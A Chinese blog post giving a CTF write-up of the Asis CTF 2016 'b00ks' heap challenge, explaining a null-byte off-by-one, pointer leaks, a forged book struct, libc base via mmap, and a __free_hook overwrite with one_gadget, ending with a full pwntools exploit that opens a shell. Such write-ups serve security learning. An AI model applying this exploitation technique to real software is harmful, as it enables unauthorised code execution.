Asis CTF 2016 b00ks

初探off-by-one之Asis CTF 2016 b00ks 题目链接:ctf-wiki 参考链接:传送门 如果不懂,可以加讨论qq群:946220807 欢迎大佬坐阵 Off-by-one 单字节溢出,顾名思义,可溢出并且只溢出一个字节。具体还是看题吧。实践出真理。 代码分析 拿到题后,是一个图书管理系统,代码实现五个功能 功能: 创建一个图书 删除图书 编辑图书 打印图书内容 修改作者的名字。 程序刚开始,会让你输入作者的名字,可以看到这里调用了... 阅读详情

自己做的第一个堆题,复现了很久,遇到了各种问题。希望这篇博客写的详细一点,能够把自己遇到的坑都写出来。

题目链接

分析源码

先运行一下,可以知道这是一个图书管理系统,下面主要分析一下各个功能的源码

Welcome to ASISCTF book library
Enter author name: hihih

1.Create a book
2.Delete a book
3.Edit a book
4.Print book detail
5.Change current author name
6.Exit
> 

1. author name所使用的输入函数 sub_5651498C19F5 是自己定义的,而就是这个函数存在 off_by_one 漏洞。

  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == 10 )
      break;
    ++buf;
    if ( i == a2 ) /*a2=20h,效果1:当我们输入‘a’*32时,会额外输入一个 0x00,多覆盖一
    个bit位,达到修改内存的目的;效果2:我们输入内容将0x00覆盖,当输出‘a’*32字符串时,将
    会把后面跟着的数据一起输出出来,达到泄露内存的目的*/
      break;
  }

2. book struct


struct{
int id
char* name
char* description
int size
}
/*这里给大家解释一下为什么汇编中为什么最后的size存放的位置是v4+6
*((_DWORD *)v4 + 6) = v2;size
*((_QWORD *)v4 + 2) = v6;description
*((_QWORD *)v4 + 1) = ptr;name
*(_DWORD *)v4 = ++unk_565149AC3024;id
*/
这里面涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数
据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能
把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进
一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。
*((_DWORD *)v4 + 6) = *((void *)v4 + 24) = v2;size
*((_QWORD *)v4 + 2) = *((void *)v4 + 16) = v6;description
*((_QWORD *)v4 + 1) = *((void *)v4 + 8) = ptr;name
*(_DWORD *)v4 = *(void *)v4 = ++unk_565149AC3024;id

3. create book

  printf("\nEnter book name size: ", *(_QWORD *)&v2);
  __isoc99_scanf("%d", &v2);
  		...
  printf("Enter book name (Max 32 chars): ", &v2);
  ptr = malloc(v2);
  if ( (unsigned int)sub_5651498C19F5(ptr, v2 - 1) )
  		...
  printf("\nEnter book description size: ", *(_QWORD *)&v2);
  __isoc99_scanf("%d", &v2);
  		...
  v6 = malloc(v2);
  		...
  printf("Enter book description: ", &v2);
  v0 = v6;
  if ( (unsigned int)sub_5651498C19F5(v6, v2 - 1) )
  		...

可以看出name和description都是存在堆中,而且用的是用户自己定义的输入函数。接下来我们就要对利用过程进行构想了

1.输入author name

要达到利用的目的,我们必须要输入32 bit 长度,才能在之后进行利用

2.create book

create两个book,
createbook(0x80,“a”,0x70,“a”)
createbook(0x21000,“a”,0x21000,“b”)
第一个book description通过布局能够达到任意写,从而修改第二个book struct数据,最终达到执行one_gadget的目的。至于为什么是在description中布局,我们稍后再揭晓。

3.print book1

author name存放在off_565149AC3018
book struct 指针存放在off_565149AC3010 + v3
我们用ida动态跟一下,就能发现,book struct 指针是紧挨着author name存放的。

0000557F587D1040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0000557F587D1050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0000557F587D1060  30 F1 B9 59 7F 55 00 00  60 F1 B9 59 7F 55 00 00  0....U..`....U..

我们这样就可以把struct book1 和 struct book2 的指针泄露了

4.edit book1 description

我们利用0x00将0x0000557F587D1060处的 0x30 覆盖后,存的 struct book1 指针就由指向0x0000557F59B9F130变成了指向0x0000557F59B9F100,而0x0000557F59B9F100处于struct book1 的description范围内,所以我们可以在book1 description中提前布置好fake book struct从
达到这样一个效果

0000557F59B9F0D0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0000557F59B9F0E0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0000557F59B9F0F0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0000557F59B9F100  01 00 00 00 00 00 00 00  68 F1 B9 59 7F 55 00 00  ........h....U..
0000557F59B9F110  70 F1 B9 59 7F 55 00 00  FF FF 00 00 00 00 00 00  p....U..........
0000557F59B9F120  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
0000557F59B9F130  01 00 00 00 00 00 00 00  20 F0 B9 59 7F 55 00 00  ........ ....U..
0000557F59B9F140  B0 F0 B9 59 7F 55 00 00  70 00 00 00 00 00 00 00  .....U..p.......
0000557F59B9F150  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
0000557F59B9F160  02 00 00 00 00 00 00 00  10 C0 E8 90 50 7F 00 00  ............P...
0000557F59B9F170  10 A0 E6 90 50 7F 00 00  00 10 02 00 00 00 00 00  ................
0000557F59B9F180  00 00 00 00 00 00 00 00  81 0E 02 00 00 00 00 00  ................

这样我们就能通过edit函数来修改struct book2 中的description 和name指针了

5.change author name

既用0x00覆盖0x30,

6.print book2

通过print book1 name 和description,将struct book2中的description 和name指针泄露出来。
为什么要泄露出这两个指针,这和我们的下一步利用密切相关,因为我们需要知道libc 地址,而mmap分配的内存和libc存在固定偏移,所以我们只需要把固定偏移求出来即可。而堆内存分配原则一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。当我们申请一块超大内存时,则会使用mmap函数,所以在申请book2 description 和name时,size=0x21000

0000557F59B9E000 ; ===========================================================================
[heap]:0000557F59B9E000
[heap]:0000557F59B9E000 ; [00022000 BYTES: COLLAPSED SEGMENT _heap_. PRESS CTRL-NUMPAD+ TO EXPAND]
libc_2.23.so:00007F50908D8000 ; ===========================================================================
libc_2.23.so:00007F50908D8000
libc_2.23.so:00007F50908D8000 ; Segment type: Pure code
libc_2.23.so:00007F50908D8000 ; Segment permissions: Read/Execute

description_libc offset=0x00007F5090E6A010 - 0x00007F50908D8000= 0x592010

7.edit book1 ,book2

通过edit book1 description,将__free_hook 写入book2 description
然后edit book2 description,将one_gadget 写入 __free_hook,当__free_hook内容不为NULL时,执行其内容,既one_gadget

xxx@ubuntu:~/Documents/heap/b00k$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

8.free

exp(exp大部分都是参考了ctf-wiki 链接)


from  pwn import *
context.log_level="info"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")
#raw_input()

def createbook(name_size,name,des_size,des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id=int(io.readline()[:-1])
        io.readuntil(": ")
        book_name=io.readline()[:-1]
        io.readuntil(": ")
        book_des=io.readline()[:-1]
        io.readuntil(": ")
        book_author=io.readline()[:-1]
    return book_id,book_name,book_des,book_author

def createname(name):
    io.readuntil("name: ")
    io.sendline(name)

def changename(name):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(name)

def editbook(book_id,new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.writeline(str(book_id))
    io.readuntil(": ")
    io.sendline(new_des)

def deletebook(book_id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(book_id))

createname("A"*32)
createbook(128,"a",0x70,"a")
createbook(0x21000,"a",0x21000,"b")

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload='a'*0x50+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)

changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))

libc_base=book2_des_addr-0x592010
log.success("libc base:"+hex(libc_base))
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget=libc_base+0x4526a#0x45216#0xf1147#0xf02a4#
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
editbook(1,p64(free_hook))
editbook(2,p64(one_gadget))

deletebook(2)
io.interactive()
YOLOv11改进 ,YOLOv11改进主干网络为MobileNetV3,助力涨点 MobileNetV3通过结合硬件感知网络架构搜索(NAS)和NetAdapt算法,通过新颖的架构改进进一步提升了性能。本文开始探讨了自动化搜索算法与网络设计如何协同工作,以利用互补方法来提升整体技术水平。通过这一过程,创建了两个新的MobileNet模型:MobileNetV3-Large和MobileNetV3-Small,分别针对高资源和低资源使用场景。这些模型随后被适配并应用于目标检测和语义分割任务。 阅读详情

相关推荐

C/C++ 计算程序运行的时间

C/C++计算程序执行时间的方法,精度依次增加,推荐度也依次增加 1.#include <time.h> clock_t start, finish; double process_interval ; start=clock(); process(); //要计时的程序 finish=clock(); process_interval =(double)(finish-star...

stu_shanghui的博客 1020

[Asis CTF 2016] b00ks

这道题主要是用到了Off-By-One漏洞,还有利用mmap成立的堆与libc基址间距相等的原理。

ethan18的博客 444

[pytorch]FixMatch代码详解(超详细)

FixMatch代码详解-训练过程参数数据产生构建模型训练参数设置weight decay(权值衰减)学习率衰减(learning rate decay)指数移动平均(EMA)model训练过程运行结果 上一篇大概讲了数据加载的过程,这一篇更进一步,分析一下训练是怎样进行的 上一篇链接: [pytorch]FixMatch代码详解-数据加载 参数 所有的参数我都默认使用作者给出的例子: python train.py --dataset cifar10 --num-labeled 4000 --arch w

qq_38736504的博客 1万+

[Asis CTF 2016] b00ks —— Off-By-One笔记与思考

前言: 这道题做得有点痛苦......因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度显然恐慌...... 不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到......惭愧 正文: book结构: struct book { int id; char *name; char *description; in...

Tokameine的博客 1911

不用写代码!用AIStarter 5.0.0离线包部署InfiniteTalk的完整指南(Windows/Mac/Linux全平台)

本文详细介绍了如何使用AIStarter 5.0.0离线包在Windows、Mac和Linux平台上零代码部署InfiniteTalk数字人。从环境准备、离线资源获取与验证,到全平台部署实操指南,提供了完整的本地化安装流程和优化建议,帮助用户快速实现AI项目的一键部署。

weixin_30275415的博客 273

similarity network fusion for aggregating data types on a genomic scale

基因组规模上的聚合数据类型的相似性网络融合 摘要:         近期的技术已经使收集不同类型的全基因组数据十分划算,结合这些数据去创建一个给定的疾病或生物过程的一个全面视图的计算方法是有必要的。相似网络融合(SNF:similarity network fusion)通过创建每一个可利用的数据类型的样本(如,患者)的网络可以解决这个问题。例如,创建一个给定一群患者疾病的全面视图,SNF计算

augustar学习笔记 7869

Asis CTF 2016 b00ks(堆溢出NULL byte off-by-one)

Asis CTF 2016 b00ks1.题目获取2.查保护3.分析程序4.地址泄露泄露地址修改地址5.伪造结构体 1.题目获取 题目下载地址:点此下载 2.查保护 3.分析程序 IDA载入,查看main函数 这个函数读取一个名字,最长32个字节。 作者名被读到data段 sub_A89()打印程序功能,并获取用户输入的序号 sub_F55()的功能是添加书籍信息,在这个函数中可以分析到...

万丈⾼楼平地起,勿在浮沙筑⾼台学艺不精的安全菜鸡,改行回家养猪了,对博客有疑问欢迎留言,看到一定回 1744

PLC编程标准之争:IEC61131与IEC61499核心区别与选型指南

在工业自动化领域,PLC编程长期依赖IEC61131标准,它定义了梯形图、结构化文本等语言,通过周期扫描机制保证确定性执行。然而,随着工业4.0和分布式控制场景的兴起,IEC61499以事件驱动模型打破传统范式,让功能块能跨设备协同,实现更灵活的柔性产线和模块化系统。理解两者在程序结构、数据交互、部署方式和实时性上的差异,是选型与工程落地的关键。本文从基础概念出发,剖析执行模型与架构演进,结合一线调试经验,帮助工程师在传统PLC与下一代标准之间做出理性决策。

weixin_27014595的博客 269

PWN [Asis CTF 2016 b00ks] off-by-one WP图解

PWN [Asis CTF 2016 b00ks] off-by-one WP图解

千年暗室,一灯即明 1882

IT:银行类金融科技岗笔试习题集合—四个模块包括【综合知识+EPI+英语+个性测评】持续更新,建议收藏

IT:银行类金融科技岗笔试习题集合—四个模块包括【综合知识+EPI+英语+个性测评】 导读:行测、综合知识、英语和性格测试。综合知识,包括货币学、金融、会计、计算机等内容。  行政能力测试,内容大家可以参考公务员考试,包括逻辑推理、数字推理、图形推理、文字推理。英语测试,包括语法和词汇30题、完型填空20题、10篇阅读理解50题,阅读理解文章特别长,生词特别多。 (1)、英语可以Ctrl+F...

头部AI社区如有邀博主AI主题演讲请私信—心比天高,仗剑走天涯,保持热爱,奔赴向梦想!低调,专注,谦虚,自律,反思,成长,还算比较正能量的博主,公益免费传播…内心特别想在AI界做出一些可以推进历史进程影响力的技术(兴趣使然,有点小情怀,也有点使命感呀 2万+

python基础:工作会用到的90%的python代码都在这了(万字详解!)

Python 备忘单是 Python 3 编程语言的单页参考表 著名的“Hello World”程序在 Python 中的实现 Python 不能在没有赋值的情况下声明变量 变量可以存放不同类型的值 内置数据类型 序列指一批有序的元素,集合指一批无序且不重复的元素查看: 数据类型 查看: 字符串 查看: 列表 查看: 判断 查看: 循环 查看: 函数 查看: 文件处理 表示 x 和 y 的商, 表示 x 和 y 的底商,另见 StackOverflow f-字符串 (Python 3.6+) 查看

数据知道的博客 1万+

堆溢出off-by-one (asis-ctf-2016 b00ks)

这个写着最大32,但是无妨,可以更大,需要注意的是,这里输入的size必须是十进制数。(以前做的题往往喜欢输入成0x20,0x30等等)(看了看以前做的题,都是用atoi转了,所以可以那么输入。author name 输入为32,也就是这里的a2=32,经历了32次++a1后,a1[32]=0,而这是第33位。不知道为什么泄露出来的book_2_name的地址(也就是那个0x7f的)与libc_base的基地址偏移每次不同。泄露出book1的0x30大小的指挥块位置(这里指向的是id)

fuiifiuiii的博客 1503

【JTAG】1149.6协议详解

JTAG1149.6协议是1149.1协议中Boundary-Scan结构的扩展,1149.1对交流耦合、差分或两者兼有的情况并没有得到充分的处理。该协议支持新的I/O测试结构。需要时变(AC)信号的高级I/O引脚允许测试它们之间的连接,这包括所有差分信号引脚或单端信号引脚,通过设计支持交流耦合。..................

xuhe0206的博客 4574

Off-By-One Asis CTF 2016 b00ks

Off-By-One学习、练习0x1、Off-By-One原理0x2、Asis CTF 2016 b00ks1、利用流程:2、泄露过程a、输入用户名,泄露book1地址b、构造假的fake_book结构体,使其指向book2的name和description字段。c、修改book1的描述字段,填入fake_book,输出book,得到book2的name和description地址。d、根据book2的name字段(为什么要是这个字段呢?)由固定偏移计算libcbasee、根据libcbase得到syste

qq_39153421的博客 767

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Asis CTF 2016——b00ks

这程序是一个图书管理系统  #off-by-one 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 struct _IO_FILE *v3; // rdi 4 __int64 savedregs; // [rsp+20h] [rbp+0h] 5 6 ...

525

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

[Asis CTF 2016] b00ks--off by null

用mmap创建个内存大的堆(>128kb),用brk()创建的几个chunk都是紧邻的,上面我们泄露了book1的地址,可通过计算得到book2的地址,我们再fake book的指针分别对应指book2,那我们就可以再次打印book的信息,就可以泄露出book2name和descrption chunk的地址,都可以计算mmap与libc的偏移,得到libc基地址。再创建堆块 ,覆盖掉了\x00,并且地址指向的是我们的book detail info chunk,这个时候打印就能知道这个的地址了。

2401_89128013的博客 769

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Asis CTF 2016 b00ks理解

---恢复内容开始--- 最近在学习堆的off by one,其中遇到这道题,萌新的我弄了大半天才搞懂,网上的很多wp都不是特别详细,都得自己好好调试。 首先,这题目是一个常见的图书馆管理系统,虽然我没见过。 1. Create a book 2. Delete a book 3. Edit a book 4. Print book detail 5. Change ...

weixin_30666753的博客 403

堆中的off-by-one :ASIS CTF 2016:b00ks

ASIS CTF 2016:b00ks 最近在练习pwn题,主要看的是ctf竞赛权威指南这本书,感觉这个题太巧妙了,记录一下 首先拿到文件第一步查看检查: 然后拿到IDA里面看: 在sub_b6d()函数中使用了一个自己写的read函数(这个函数存在一个off-by-one漏洞) 并且可以看到这里name存在off_202018 分析知道0ff_202010存的是book结构体 二者相差20个偏移 打印就是规中规矩的了,然后看修改作者姓名的,发现仍然是sub_b6d函数,但是在修改的时候就只能溢出一

qq_36918532的博客 2604

off by one --- Asis CTF 2016 b00ks题解

确定漏洞点 首先,checksec查看开了哪些保护,其中PIE会使我们的调试难度稍稍增加。 再执行程序之后是一个经典的菜单选择,可以大概判断是与堆的利用有关。 通过用ida反编译之后查看,发现有一个关于读的函数会多读入一个\x00,造成了一个null off by one的漏洞。 程序分析 create 函数 创建了book name的堆 创建了book description的堆 创建了b...

coco的博客 741

19|Off-by-one 实战:ASIS CTF 2016 b00ks 清低字节拿任意读写

author_name 塞满 32 字节,第 33 个 \0 落在 library[0] 的最低字节,指针从结构体跳到 前面 0x30 的 desc;而 desc 里是伪造的结构体,于是 edit 变任意写、show 变任意读。 讲清 208 这个尺寸怎么算、假结构体偏移、mmap 反推 libc 与两级跳改 __free_hook。

2501_93884468的博客 387

【PWN · heap | Off-By-One】Asis CTF 2016 b00ks

步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全了解)。

Mr_Fmnwon的博客 683

堆溢出off-by-one(asis-ctf-2016 pwn 之 b00ks)

这些天积累也知道了一些关于glibc内存的分配策略。 说pwn 是在内存里捉迷藏其实到这里才真正接触大片的内存。精确控制就能保证精确修改数据。 需要的一个很重要的能力就是跟内存的能力。 这里调试exp用gdb.attach(p)来下断点,弹出调试界面。跟踪内存。 用gdb的x命令/xg参数来查看内存以十六进制8字节显示。 这个程序开启了PIE跟踪不太容易,不过可以用find命令查找输入的...

九层台 2575

(off by one+uaf+house of spirit)Asis CTF 2016 b00ks+hacknote+ZJctf—easyheap

这道题的溢出点在这里,break的判断的条件是=,从0开始如果循环次数没有减一那就会溢出,明显在输入作者名是会溢出经过程序的执行很清楚的可以看出,作者名和图书的连在一起就会是图书的第一位溢出。可以看到在图书指针的地位由于溢出多了变0了,于是我们便去寻找0x0000555555757700可以指向谁(我们这里是直接假设name为128,des为32),可以看到第一本书的des就正好为我们改变指针的位置,意味着可以修改第一本书 的des为任意内容,下面的步骤就是扩展mmap后写入第二本书的name和des,在伪

weixin_61283545的博客 238
上一篇: gdb插件选择
下一篇: linux 之pwn环境建立
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值